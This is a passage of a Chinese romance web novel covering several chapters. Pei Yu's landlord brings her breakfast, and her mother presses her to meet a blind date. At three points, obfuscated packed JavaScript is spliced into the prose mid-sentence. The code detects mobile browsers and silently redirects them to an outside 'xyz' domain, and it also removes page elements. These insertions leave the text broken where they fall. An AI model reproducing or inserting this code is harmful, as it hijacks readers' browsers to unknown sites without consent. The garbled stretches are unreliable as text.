“行,那我问你——”刘盼盼顿了顿,“如果他明天早上真的提着早餐来了,你是开心还是想避而远之?” “……” 裴雨没有回答。 因为她刚刚在脑子里下意识想象了那个画面,结果嘴角居然不争气地翘了一下。 “你这人就是嘴硬心软。”刘盼盼叹气,“感情又不是做实验,不试怎么知道?而且你也别总想着控制情绪,没准他也在等你给点回应呢。” “但你也不能总给我洗脑。” “我不是洗脑,我这是劝你别错过。”刘盼盼顿了顿,突然换了语气,“不过话说回来,他还没说他到底喜不喜欢你,对吧?” “对。” “那你就继续观望。但别装不动心,也别故意冷着。你自己觉得他值得了解,那就别藏着掖着地把自己卷回单人副本去。” “……你现在说话怎么这么像恋爱综艺导师。” “因为你太像恋综里的傻女嘉宾了。” 裴雨被她逗笑,电话里一时间都是她轻轻的笑声。 她忽然觉得,好像心里那个打结的地方被解开了一点点。不是说一下子就拨云见日了,而是——原来她的感觉没那么荒唐,不是一个人自作多情地在搞暧昧单机游戏。 电话聊到快九点才挂,她靠在沙发上,洗了碗也懒得动,只是摸了摸那束风信子,柔软的花瓣在指尖轻轻晃了晃。 她心里小声地说了一句:“明天早点起,看看他到底会不会来。” 没告诉刘盼盼,这句话一出口,连她自己都有点上头。 22. 原来不是说说而已 裴雨是在清晨六点五十醒来的。 比她平常上班日的起床时间足足早了四十分钟。 意识到这一点时,她盯着天花板沉默了足足十秒,最后慢吞吞翻身起床,一边套薄卫衣,一边懊恼自己到底图什么。 她甚至还不是被闹钟叫醒的,而是睡梦中莫名其妙地想起宋行舟昨天离开前那句“明早给你带点早点”,接着就像脑子里有根紧绷的弦啪的一下断了,整个人猛地清醒。 “我到底是怎么回事啊。”她对着镜子皱眉,低声自言自语。 洗漱的时候她一度想忽略那句告别时不经意说出口的“早点”,可偏偏牙还没刷完,脑海里已经开始循环起各种可能性:他会几点来?是敲门直接送到她门口?还是发消息约她下楼?还是其实只是一句客气话,并不会真的来? “你怎么不顺便问问他是不是要配豆浆。”她扯纸擦脸时自嘲地说。 一边心虚一边理智地想让自己平静下来。她甚至强迫自己先去厨房倒了杯温水、站在阳台上看了五分钟楼下街道的车流,试图让早起的激动感被生活的现实压一压。 可现实并不配合她降温。街道上的人稀稀拉拉,大部分早餐摊还没开。初升的阳光透过她家的落地窗铺了一地,落在她新买的小圆餐桌上,打在那束尚未完全盛开的风信子上,淡紫色的花瓣像是泛起一层软绵绵的光。 她被这光晃得心里一动,不自觉地笑了一下,然后赶紧收了笑脸,仿佛笑容一多就会泄露她的心事似的。 “……真不争气。”她嘟囔着。 早饭时间还早,她却哪都不想去。甚至连平时早上最爱听的播客也没打开,只是坐在客厅的沙发上,抱着一个靠垫,偶尔看看手机,偶尔又假装在看新闻页面,其实每隔一两分钟就会偷偷点进聊天软件,刷新一下昨天和宋行舟的聊天记录。 她忍不住回看了一遍昨天的结尾—— 【宋行舟】:早点收拾完早点休息。 【裴雨】:你也是,路上注意安全。 她盯着这段话,突然心里一紧。 他根本没说“明天早上我会来敲你门”,也没说“我们几点见面”。她只记得他说“明早给你带点早点”,但那句话是在哪个情境下说的来着? 好像是她收拾厨房,他在一旁把碗筷码好,说完那句“明早给你带点早点”之后,就直接开始穿鞋准备走人了,语气不重,听上去也没有特别郑重其事。 于是她心头忽然浮出一种突兀的不安感。 ——是不是她太自作多情了? 他也许就是随口说说。甚至就算真的想带早餐,也没准是在他自己单位门口顺便买一份,吃着吃着才想起“唉,我说了给她带的”。但这不代表他有那个意思,更不代表他真的记得。 “你行了。”她抬手捂脸,“吃两顿饭就上头,你也太容易陷进去了。” 她一边骂自己一边把手机扔到一边,却又忍不住盯着时间。 七点十五。 她觉得再不干点什么自己真的要被困在这时间的泥潭里出不来了。于是强迫自己去厨房煮了个鸡蛋,找出前天剩下的一点吐司,用平底锅烘了一下。烘吐司的时候她眼神空洞,手指有些僵硬,甚至把锅铲拿反了一次。 “吃完了就当他不会来。”她给自己下最后通牒,“别想了,清醒一点。” 可就在她坐在小餐桌边端起杯牛奶的下一秒,手机屏幕突然亮了一下。 她几乎是下意识地一把拿起,像是学生时代偷偷等着暗恋对象回信息,连杯子都差点打翻。 【宋行舟】:你起了吗。 简简单单四个字,像一颗石子丢进她心里本就不平静的湖面。 她手心竟微微出了一点汗,指尖摸着手机边缘,屏住呼吸,盯着那四个字看了一会儿才飞快回过去: 【裴雨】:起了!刚刚在吃早饭…… 发完这句话她立马后悔了——她为什么要说自己在吃早饭!她还说什么“刚刚”?现在说早饭不是等于告诉人家“不用带了”吗?! 而且她不是还想着他要是来就跟他一起吃的吗?! 她刚要撤回,结果下一条消息已经跳出来了。 【宋行舟】:那我就不送上去了,省得耽误你吃完再下楼。 “……” 裴雨手指一顿,整个人都呆了一下。 他是……真的要送?已经买了?只是看到她说在吃早饭才临时决定不来了? 她一下有点懊恼,又有点后悔,更有点心虚地想撞墙。 她坐在餐桌边愣了一会儿,然后一口气把牛奶喝光,猛地起身,开始在屋里来回踱步。刚走了几步,又折回手机边飞快打字: 【裴雨】:不是不是!你送啊,我又没吃多少。就一个鸡蛋半片吐司,你要是已经买了,我下楼找你? 她在“找你?”那三个字后面犹豫了一下,没加句号,显得语气轻一点。 然后她坐在沙发上,抱着靠垫,眼睛死死盯着手机。 一分钟过去。 两分钟过去。 五分钟。 她开始怀疑是不是自己太热情了点,太上赶着了。刚刚的那句话是不是让自己显得特别主动?他会不会觉得她太期待了? 正当她开始胡思乱想的时候,手机再次震动。 【宋行舟】:我就在楼下,等你下来。 简短的十个字,却像是一块石头直接砸进了她的心里。 砸得她整个人微微颤了一下,然后突然就有点想笑。 不是傻笑,是那种——被人温柔以待后,连心里的小刺都开始松动的那种笑。 她飞快套上外套,临出门前还特意照了照镜子,把头发拨顺,确认自己没有太狼狈的早起痕迹,才打开门,一步一步快步走下楼。 脚步声在楼梯间回响着,像她此刻心跳的回声。 她不想让自己太明显,但也不想藏着掖着地否认自己真的很想见他。 她只是—— 特别想看看,那份她以为可能只是“说说而已”的心意,到底长什么样子。 裴雨下楼的速度不算快,甚至可以说是有些刻意地控制着节奏。 她不想显得太急迫,可心里那点迫不及待却像藏在鞋底下的小石子,怎么走都硌得人心里发痒。 清晨的阳光已经完全洒开,沿街早餐摊泛着油香气息,偶尔传来锅铲敲击铁盘的声响。 她一眼就看见宋行舟了。 他站在楼道门口不远的地方,背靠着一个低矮的花坛,一只手插在外套口袋里,另一只手拎着一个简单的纸袋。 纸袋上没有logo,角落略微有些压皱,看起来像是他刚刚从哪家熟食铺顺手提来的早餐。 他低着头看手机,头发被晨风吹得略微翘起一点,脸上是那种清清淡淡、毫无锋芒的神情。 听到她脚步声靠近,他抬起头,看了她一眼。 裴雨对上他的目光,一时之间不知道是应该先打招呼还是直接接过早餐——她昨晚想象过他们早上见面的场景,但怎么也没料到自己会在不知所措中先开口说了句: “你、你来的真早啊。”语气中甚至还带点呼吸没稳的轻颤。 宋行舟却只是看了她一眼,没回答她的问题,反倒像是不经意地问了句:“你以为我昨天只是说说而已?” 他嗓音还是那么低低淡淡,听不出调笑意味,却带着点藏不住的温柔。 “……倒也不是,”裴雨接过纸袋,垂眼看了一眼,耳根慢慢发热,“就是……你昨天走得也快,也没说具体时间,我还以为……” 她说着说着声量越来越小,视线也越飘越远。 然后,她干脆一句话没说完,捏着纸袋飞快转身:“我、我先上去啦,你一会儿……” “我也上去。” “啊?” 她站定回头,脸上还带着一点刚才被拆穿的尴尬。 “我带的两份。”宋行舟说着抬了抬手里的袋子,又轻飘飘地看了她一眼,“总不能让我一个人蹲路边吃吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746150|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这话说得自然得很,像是原本就已经计划好了的安排,只是礼貌性地让她知晓一声。 裴雨:“……” 她也不知道自己是怎么点头的。 总之她最后还是带着他一起回到了三楼,然后一边在门口掏钥匙一边在心里飞快地念叨自己:“冷静点,冷静点,他只是顺手,不代表什么,不要自己脑补,不要上头……” 可惜,念归念,她还是有点上头。 尤其是进门之后,他脱了外套,袖子挽到小臂,站在厨房边帮她倒水的样子,和昨天几乎一模一样。 他好像很自然地就融进了这个家。 也许是因为他真的对这里太熟悉了,也可能是因为——她昨晚刚刚请他吃过晚饭,气氛尚未散尽。 裴雨坐在餐桌前拆纸袋,不知道是不是她心理作用,总觉得里头的东西意外地丰富。 豆浆温热,表面还带着一圈细细的泡沫;油条没有回潮,香脆得像刚出锅;还有一份折叠整齐的咸饭团,里头混着肉松和蛋丝,香味扑鼻。 她忍不住多看了宋行舟一眼。 “你这是……买了多少?” “我怕你吃不习惯豆浆油条,就又去另一家买了点别的。”他低头拆筷子,语气还是很淡,“多试试,哪个喜欢,下次就知道了。” “你还计划下次啊?” 她嘴快,话一出口就意识到自己没绷住,一抬眼正好撞上宋行舟的目光。 他没笑,但那种看穿人心的小表情一下就爬上了脸:“不计划下次,我今早跑两家店干嘛?” “……” 裴雨被噎得一下说不出话来。 她低头咬了一口饭团,咀嚼了几秒才发现味道真的很合胃口。米粒软糯、咸香恰好,一口接一口根本停不下来。 她一边吃,一边小声咕哝:“这个真的挺好吃的。” “你喜欢就行。”宋行舟轻声道。 两人没有再多说话,但气氛却意外地安静温柔。阳光斜照进来,风信子今天终于全开了些,花瓣朝着窗外舒展,像是也在享受这短暂而温暖的早晨。 吃到最后一口的时候,裴雨突然怔了一下。 她低头看了看桌面上已经空掉的豆浆杯,手边拆得乱七八糟的袋子和筷套,再看看自己那几乎一口不剩的咸饭团。 她惊觉:自己——好像吃了两份。 一份是她自己早上做的鸡蛋吐司,一份是宋行舟带的满满一袋。 她撑得有点想躺下了。 而更可怕的是,最开始,她只是想象着“要是能一起吃早餐就好了”,结果——不仅吃上了,还吃了两顿。 她靠在椅背上,胃里鼓胀着热乎乎的饱足感,整个人却忽然从一种微醺般的幸福中,被自己猛地拽了出来。 “我……”她慢吞吞转头看向宋行舟,“是不是有点太蠢了。” 宋行舟挑眉:“啊?” “……你不觉得我被降智了吗。”她皱着眉,很认真地反思,“早上没见你之前我还在自我清醒来着,一顿饭吃下来我直接……唉。” 她叹了一口气,把脸埋进靠垫里。 “你没蠢。” 宋行舟的声音忽然在她头顶响起,带着一点压低的笑意:“你是饿了。” “……” “不是你被降智,是你昨天搬家太累,今早又起太早。” 他似乎看穿了她的每一层心理波动,轻轻叠着纸袋,又很自然地说:“偶尔没那么清醒一次也没关系,我帮你记着。” 这句话一出口,裴雨心跳有点不对劲了。 她的脸忽然有点烧。 “我去刷杯子。”她站起身,试图找点别的事情分散注意力,“顺便也把垃圾扔了。” “我来吧。” “不用,我清醒了,”她说,“我得做点清醒人该做的事,不然真的太蠢了。” 她语速飞快地逃去了厨房,心里却忍不住想: ——要是这就叫蠢,那她大概……还挺想继续蠢下去的。 23. 好心情 裴雨站在门口送宋行舟离开的时候,手上还捏着那只空豆浆杯。纸杯已经略微塌陷了些,纸质的触感因温度散尽而变得有点凉,她原本打算顺手扔掉,但握着握着竟又有些舍不得。 宋行舟走前没说什么特别的,只是照例说了句“你路上小心”,就像他们早就认识很多年,是熟悉彼此生活节奏的老朋友。 她站在门框边点了点头,直到他背影隐入楼梯间,她才缓慢地收回视线。 门一关上,她还是原地站了一会儿,像是在努力整理一下那一团温吞却意外带劲的情绪。 昨晚她才搬完家,今天早上就吃了两顿早饭。准确说,是和宋行舟吃了第二顿。那是一种有点傻、有点撑,更多的是温暖的“过量”,让她一整个人都像刚泡完热水澡似的松弛下来,连心情也被泡软了。 她看了眼时间,离上班还有一个小时。 算起来不算宽裕,但也不紧张。 于是她麻利地收拾了一下餐桌,把杯子洗了,袋子扔了,手脚迅速地换好上班要穿的衣服,再对着镜子补了点口红——她昨天搬家没化妆,今天也没怎么费心,但镜子里的她看上去却比以往都精神。 她甚至有点忍不住微笑了一下,补口红的时候嘴角翘得收不住。 楼下风不大,天也没那么热,空气里透着刚刚好的清凉感。她走在小区花坛边那条蜿蜒的小道上,不自觉就放慢了脚步。 新家离公司不算远,平常她都是地铁上下班。她挑了一双平底乐福鞋,踏在路面上的时候有种稳稳的安全感,就像今天早上的那顿饭,不惊不扰,却轻飘飘地安慰了她整整一个清晨。 她刚进地铁站的时候,恰好挤进车厢的一角。虽然人多,但她完全没有以往那种“周一上班”的倦意,反而站得笔挺,还摘了耳机没放音乐,只是单纯想听听四周的声音。 是早晨的城市声响。 邻座的人在小声通话,一个女孩在刷手机时不小心撞了她一下,连忙转头说了声对不起。裴雨笑着摆摆手,没在意。 她忽然觉得,今天的每一件小事都值得放进“生活值得”这个文件夹里备份。就像是,人生里本来再平常不过的一个工作日,莫名其妙因为某人说“你以为我只是说说而已?”这句话,整个重心就轻轻偏了几度,世界也跟着顺眼了几分。 她靠在车门边,想着刚刚分开前宋行舟拎着纸袋说“怕你吃不惯,就买了点别的”,又想起他带着笑意说“我帮你记着”,甚至还记得他吃饭时袖口一折、手腕露出一点点浅色疤痕的细节。 那些细节像是镶嵌在脑海里的一张拼图,一点点填满了她对他的好奇心,也填满了早晨的大部分心绪。 她其实也不是没见过体贴的人,甚至职场里花言巧语、姿态得体的男性朋友也不少。可宋行舟不一样。 他话不多,但每句都不落空;他做事利索,也从不故作姿态。 更何况,他还是她房东。 一想到这个身份,裴雨原本升起的那点少女心思便开始不安分地乱窜起来。 “冷静点。”她在心里默念,“人家可能只是顺路。也可能只是习惯了这种照顾别人的方式。你不能每次被人温柔一点就开始犯蠢。” 但这句自我警告刚念完,她又立刻反驳了自己:“不对啊,谁会顺路买两份早饭?谁会记得你不一定喜欢豆浆油条,还去买饭团?谁会在你撑得快坐不住的时候还特意给你倒水?” 她越想越觉得自己不是“上头”,而是……察觉到了什么不可名状的小情绪。 不是恋爱。也不是喜欢。是某种……情绪上的靠近。 那种靠近不喧哗,不激烈,不带强烈情欲,甚至不带任何试探意味,只是一种“刚刚好”的体贴,在她意识到的时候已经在心底生根了。 车厢开始震动,她低头看了眼手机,八点一刻,离公司还有一站。 她忽然觉得今天可以早点去公司,把桌子收拾一下。她之前一直没时间好好整理工位,抽屉里还塞着一堆没用的便签和过期的咖啡粉。 如果今天是个好日子,那就从整理开始吧。 地铁抵达她要下的那一站时,她和身边的人一起涌出车厢。 阳光从地铁出口一路照下来,她站在扶梯上,脚步轻快,心情甚至轻飘飘的有点发痒。 直到她走出站口,手机亮了一下。 是一条微信。 【宋行舟】:今天早点下班的话,路过一家很好吃的饺子店,可以打包一份给你试试。 裴雨盯着那条消息,心跳忽然错了一拍。 她在站口停了半秒,然后飞快打字回复。 【裴雨】:你工作忙不忙呀,不用特意啦,我随便吃点也行。 她原本以为他不会那么快回,但一分钟不到,就看到宋行舟发了一个消息过来: 【宋行舟】:不忙,我顺便。 她盯着“顺便”两个字看了几秒,然后有些没忍住地笑出了声。 这时候,她才发现——原来早上的那种好心情,不只是因为两顿早饭,也不仅仅是因为天气、通勤和阳光,而是因为她忽然意识到: 自己的人生,好像正悄悄有了另一个“顺便关心你”的人。 而这个发现,比任何外在的美好都更让她兴奋。 她收起手机,抬头看向前方,阳光明亮极了,像是一整天都不打算停歇的好天气。 裴雨掐着点推开公司大门的时候,前台正好换了新一季的插花。玻璃罐里是白色的洋甘菊和浅粉色的雏菊,在浅木色的前台台面上,像是公司为了迎接某个温柔季节而特地布置的。 她脚步轻快地走进电梯间,等电梯的时候还照了照金属门上的倒影,确认自己今天的状态比以往都在线。 她到的时候市场部还没全员到岗,只在靠窗的位置看见个同事的背影。 “早。”她轻声打了个招呼,把包放进桌下抽屉,动作轻得几乎没发出声。 靠窗的那位同事转了下椅子,是她同组的Amber,一个一直保持着精致妆容和高效率的姑娘,手上正拿着咖啡杯喝早咖,闻言挑了挑眉。 “哟,今天来得比我早。”Amber笑了一声,“不得了,难不成谈恋爱了?” 裴雨失笑,“你怎么一早就开始八卦。” “那是我对生活的热爱。”Amber啜了口咖啡,又眯起眼睛看她,“你今天这状态不一样,说吧,什么喜事?昨晚中彩票了?” “……倒也没有。”裴雨拉开笔记本电脑,手指自然地按着开机键,“就是住的地方换了,今早上班路线比较顺,心情好。” Amber“哦——”了一声,语调拉得老长,一脸“你糊弄鬼呢”的样子,“就这?就你今早这笑成柠檬气泡水的状态,说不是心动我都不信。” 裴雨低头笑着没说话,打开Outlook看了眼今天的会议安排。上午九点半有一个跨部门沟通会,中午十二点还有月度汇报的预备会稿件要定稿,下午三点要和外包的公关公司通一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754317|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话。 照这个节奏,今天又是满满当当的一天。 她抬头看向Amber,“那你昨晚干嘛了?看你今天画眼线都画得比平时细一毫米。” Amber假装叹息地拍了一下桌子,“姐还不是为生活奔波,为项目熬夜!” 两人低声笑了几句,市场总监路过时,她们才各自坐直了些。 十分钟后,组内成员陆续到齐,市场部早会开始。 他们公司是欧洲老牌消费品集团在国内的分部,市场部一共有十五人,分成品牌组、电商组、内容组、活动组几条线,日常配合需要紧密沟通,而裴雨在品牌组,负责其中一款核心产品的品牌建设与年度推广项目。 今天早会的重点是七月的线下快闪活动筹备进展。内容组和活动组轮流汇报了目前的选址方案和供应商谈判情况,很快裴雨这边也轮到了。 她打开PPT简要复盘了上周调研的数据,又把选定的三组初步匹配报告拉了出来,“这三位风格差异明显,但调性都偏温暖治愈型,和这次主题比较贴合。目前还在走内部评估流程,最快本周五能给出签约建议。” 内容组的小张点点头,“我这边也已经开始准备文案方向了,可以同步推进。” “OK。”组长点头,“那这块你们两个继续保持沟通,走内部流程的时候记得留一份给PR备份。” “没问题。”裴雨点头应下,飞快地记在了笔记本上。 会后,她回到工位,顺手把刚刚讨论的任务录进了团队的共享文档里,设置了本周的几项截止节点。 等一切流程清理完,才刚准备松一口气,旁边的Amber又凑了过来,递了一小盒巧克力,“请你吃的。” “干嘛忽然这么好?”裴雨笑着接过。 “嘉奖你今天的恋爱脸。”Amber一脸八卦地撑着下巴,“你是不是,真的跟人发展了点什么?” “……你这联想能力可以去写小说了。”裴雨无奈,“不是恋爱,我就是……” 她一时间想不出合适的形容词,只好含糊道:“可能,是有点小事让我心情比较好?” Amber盯着她看了一会儿,忽然神秘兮兮地靠近,“不会是你们小区那个送早餐的帅哥吧?” 裴雨猛地抬头,“你怎么知道?” “你不是发过你新家阳台照片嘛,我朋友正好住你们小区,说你那栋楼有个男的今天早上买两份早餐送上楼,还长得挺帅。” “……你朋友信息太灵通了。”裴雨顿了顿,“但我真的不是你想的那种情况。” Amber笑得一脸“你别解释我懂我懂”,也不再追问,转而换了个轻松的语气,“不过说真的,我最近一直想搬家。你那边环境怎么样?” “挺好的,清净,配套也方便。”裴雨简单介绍了几句,刚说到一半,电脑右下角跳出日程提醒,她得去楼上会议室参加预备会了。 “我得走啦。”她抓起会议本和笔记本,“晚上回来再聊。” 走出办公区,进了电梯,裴雨才慢慢松口气。 早上那点甜丝丝的心情,被会议节奏一冲,倒也不至于退却,只是收敛进了骨子里。 但那份好情绪是藏不住的,就像气泡水再怎么装进密封瓶,也总会透出几分清爽味。 她一边走进会议室,一边想着晚上要不要回去早一点,看看宋行舟说的“那家饺子店”到底是什么味道。 想着想着,就不自觉地笑了一下。 24. 十字路口 第二天下午,裴雨今天下班比平时早了一点。 五点五十刚过,她就整理好东西收拾包出了办公楼。六月的天光拖得长长的,天边像是用牛奶兑过的汽水,云朵很轻,风也很轻,一切都轻得像她此刻的心情——温吞、缓慢,带点不动声色的甜。 昨晚那顿饺子,她确实吃得比预期中还满意。 那家小馆子离小区很近,但她搬来之前完全没注意到。店铺外观很普通,但味道出奇地正宗,像是她小时候跟父母回兰州过年的时候,在七里河街边吃的那种手擀饺子,面皮厚实,馅料重味,带点家常的咸香。更妙的是,那天宋行舟点的居然正是她最爱的芹菜猪肉馅。 “我也就试试运气。”他当时低头拆筷子,漫不经心地说,“没想到你真喜欢。” 她听了笑,没回嘴,但心里其实已经甜得不像话。 然后两人就在那间有些陈旧但干净的小店里吃了一顿踏实的晚餐。离开时她还打包了一份酸辣汤,说是第二天当午饭配饭菜。宋行舟提着汤,轻声问她:“明天还想吃这个的话,我可以中午再来一趟,送你单位去也行。” 她当时摇头,说太折腾了,你也得上班。但那句“你也得上班”说出口之后才忽然想起——她根本不知道宋行舟的工作究竟是什么样的。 他说过在电厂做运行的,但她对那行业了解有限,只知道那大概是个班次轮换、需要随叫随到、但节奏比白领世界更规律的系统岗位。她也说不上来,自己为什么那么容易对这个人的生活生出好奇。 不过她那点小小的好奇和甜意,在到家不到十分钟之后,就被一通电话毫不留情地打断了。 手机铃声响的时候,她刚进厨房,把打包的酸辣汤倒进碗里,打算热热看今天还能不能喝得惯。结果手机嗡嗡地一震,来电显示是“妈”。 她手上没停,擦了擦指尖的汤渍接起电话,语气还算温和:“妈,咋了?” “你最近是不是有点闲了?”电话那头是她妈一贯带着些理直气壮的关心语调,“听说你搬了新家?一个人住还是合租?” “一个人。”裴雨有些警觉,“你这消息渠道真快。” “你刘姨说的啊。”她妈像是理所当然,“她女儿不是在魔都念研究生嘛,昨天回家说住在你住的那一片,我们就聊起来了。” 裴雨头皮发紧。 她妈这“刘姨女儿”网络,是她从小到大最怕的一种社交手段。永远不知道哪条信息是从哪里流出去,又在什么时候落到了她妈的耳朵里。 “所以你给我打电话,是因为这个?” “不完全是。”她妈话音一转,语气忽然带了点神秘,“主要是给你介绍个人。” “啊?”裴雨手一抖,汤勺在碗边磕出清脆的一声。 “是你张姨推荐的,她老同学的儿子,姓周,叫周昱阳。”她妈一口气说了出来,“兰州人,和你一样在魔都工作,是个很正经的投行男孩,现在在希曼资本做项目经理。” “……妈,我不是说了我最近没打算相亲么。” “你哪回说了不都一样。”她妈语气不以为然,“他条件挺好的,比你大两岁,听说长得也周正,人也规矩,不是你最讨厌的那种‘油腻男’。” 裴雨用肩夹着手机,把酸辣汤塞进微波炉里,语气尽力维持平稳:“可我根本就没想认识人。” “你不认识,怎么知道不合适?”她妈开始用她熟悉的、无法反驳的逻辑推进战线,“而且,我已经把你微信给他了。” “……妈!”她这回是真的忍不住了,“你怎么把我微信给陌生人!” “哪是陌生人,人家是你张姨同学的儿子,又不是随便捡来一个。”她妈一脸理直气壮,“再说了,你都快三十了,总得考虑一下正事吧?” 裴雨闭了闭眼,深吸口气:“你有没有想过我可能不需要相亲?” “你不需要,结果一直单着,这不是矛盾嘛。”她妈语气还算温柔,“你别多想,就当交个朋友,聊两句也没什么,实在不行你再告诉我。” 她有点想笑,心想你这安排得跟我都领证了似的。 但她也知道,她妈这种节奏,是挡不住的。跟她硬来只会把话题扯得更难收场。 她“嗯”了一声算作结束通话的回应,然后迅速挂断,把手机往沙发一扔,靠进柔软的靠背。 三十秒后,微信果然跳出一条新朋友申请:“你好,我是周昱阳,阿姨把你微信给了我。” 她看着这句话发了半天呆。 手机屏幕还亮着,显示着对方的头像,是一张山川远景图,没有自拍、没有动态、没有备注。 她脑子里却忽然想到昨天宋行舟低头拆饺子盒时,说话时眼睫遮住眼神的样子。 然后,再一想到那天他在楼下递给她的早餐。 她忽然觉得这一切都好像很荒谬。 她不过是刚刚跟一个人在小馆子吃了顿饭,说了几句贴心的话,收了一份不合时宜的早餐,就在心里偷偷许诺起了什么。 而现实,却比她的步子快得多。 她妈从一千公里外拨出一通电话,三句话就把她又往“应该”的人生轨道上推了一把。像极了小时候她还没吃完晚饭,碗就被端走,说该写作业了。 “……我不想聊。”她低声说了一句,把那条微信申请划掉了。 那一刻她忽然明白了,为什么自己在宋行舟面前总是有种迟钝的满足感—— 因为她已经太久没有主动喜欢过一个人了。 而这份喜欢,哪怕刚刚冒芽,就已经让她想用力地抓住。 裴雨始终没点通过那个好友申请。 她不是没有打开微信的念头,事实上她那天晚上关了微波炉,把打热的酸辣汤端到客厅,一边慢慢喝一边盯着手机屏幕—— 那条好友申请就像一根扎在屏幕上的鱼刺,看起来不显眼,刺着的却是她心里最柔软的那一块。 她不喜欢被安排。 从小时候的钢琴课,到大学志愿的第一志愿填报,她妈那种“我吃过的盐比你吃过的饭多”的态度早已经让她长出了本能的逆反。她知道妈妈是为她好,也知道她妈的出发点是担心她一个人漂在魔都,没有依靠没有伴。可每次对话都像是被施加压力的绳索,一圈又一圈,勒得她喘不过气来。 她不想因为不喜欢吃红烧排骨,就被逼着学做红烧排骨来“适应口味”。 她不喜欢,就是真的不喜欢。 可她妈不管。电话那头自顾自地下达命令:“你都多大了?这是给你介绍男朋友,又不是叫你去相亲节目上演真人秀。” “人家是希曼资本的,项目做得漂亮得很,不然张姨也不会专门求她同学介绍。你知道我这张脸皮有多薄吗?开口前在那张姨家楼下走了五圈才敲门。” “加个微信也不等于非要结婚嘛,先聊聊、了解了解。你也不小了,别净挑,现实一点。” “我跟你爸都退而求其次了,你怎么还那么矫情?” 一连几句,全是她妈惯用的压迫式话术。 电话挂断前她妈语气一软:“你别老把我说的话当耳旁风,妈这是操心你。” 她没吭声。 但她妈显然把沉默当成了默认。第二天一早又打来,语气更急切了:“那小伙子跟我说,他等你通过呢。你这孩子别太傲慢啊,先加上再说,别让人家觉得你没家教。” “不是我催你,是你张姨刚给我打电话,说她那头问了人,人家小伙子确实挺靠谱的。平时不太加人,但看在你妈面子上愿意认识你,你别太拧。” 这通电话结束前,甚至还丢下了一句——“你要是再这么拧着,过年回来别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15760035|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想吃饺子。” 裴雨把手机往床上一扔,仰头躺倒,脸埋进枕头里,长叹一声。 她好像又被命运按在一个透明的网格里了。上头压着的不是命,而是她妈那一层一层的“好意”。 她不是不能理解她妈的焦虑——她妈在兰州生活了一辈子,身边的例子永远是“赶紧结婚”“早点安稳”。但她就是无法认同这种生活方式。 她甚至连自己的感情状况都没来得及理清楚,更不想跟一个陌生人展开毫无交集的尬聊。 但她知道,再拒绝下去,她妈是真的要开始搞“家庭战线总动员”了。 于是那天下午临近下班前,她心情复杂地打开微信。 那个好友申请还静静地躺在那里。 她点了通过,指尖一顿,停留在备注栏—— 微信名是“ZYY”,备注栏自动跳出文字:“你好。” 裴雨犹豫了几秒,回了一句:“你好。” 然后,消息沉寂。 她合上手机,突然感觉好像一场奇怪的审判刚结束。她既像是输了战争,又像是被谁牵着拽回某个不是她想走的方向。 下班的时候她走得比平时慢。 外面天阴了,有一点微凉的风。她穿着衬衫,刚好透出点凉意。公交站人不多,她站在排队人群后头,低头盯着手机,又忍不住点开那条微信聊天记录。 对方还是没说什么。 这让她微妙地松了口气。 也许,对方也并不真的热衷于这场被家长安排的相识。 她刚开始以为这会不会是一种礼貌性的加好友,过几天自动淡了也没什么。结果没过多久,对方真的发来了消息。 【ZYY】:你现在方便说话吗? 她盯着那一行字几秒,忽然生出一种“被叫家长”的错觉。 她打字:“方便。” 对方很快就回了:“我周六上午有空,要不要见一面?你看哪里方便,我都可以过去。” 没有多余的寒暄,没有自我介绍,只有直接安排会面。 这一瞬间,裴雨那点本就不多的好感彻底被击散了。 不是说这样不礼貌,甚至从务实角度看,对方的做法还算高效、利落。但问题是—— 她连对方喜欢吃什么都不知道,连声音都没听过,就要开始面对面地“相处”了。 这就像跳过了感情线,直接进入“审美匹配与婚姻价值观对接”的流程。 她合上手机,叹了口气。 说不上难过,但就是莫名的疲惫。 明明昨天吃着饺子的时候,她还以为这个城市终于不再那么冰冷,终于有个人可以一起坐下,慢慢走进彼此的生活。 现在却像是有人突然拉亮了白炽灯,让她意识到现实的生硬和不留情面。 晚上,她坐在厨房的小圆桌前,一边喝豆浆一边打开电脑,把今天工作时没做完的几份宣传文案又整理了一遍。企划部那边临时调整了产品发布时间,市场部得赶着修改整个传播节奏。 她本来想早点睡,但手头一忙,就到了十一点。 宋行舟那边没有新消息。 她点开和他的聊天记录,看到的是昨天晚上他发的那张“加餐”的照片——是一碗家常炒面,他说“这家也不错,下次试试?” 她那时候还回了他:“好啊,下次。” 现在,她盯着那几个字看了好一会儿,忽然心里一软。 “你说。”她自言自语,“我要是直接说‘其实我对你有点上头’,你是不是会吓跑啊。” 没人回答她。 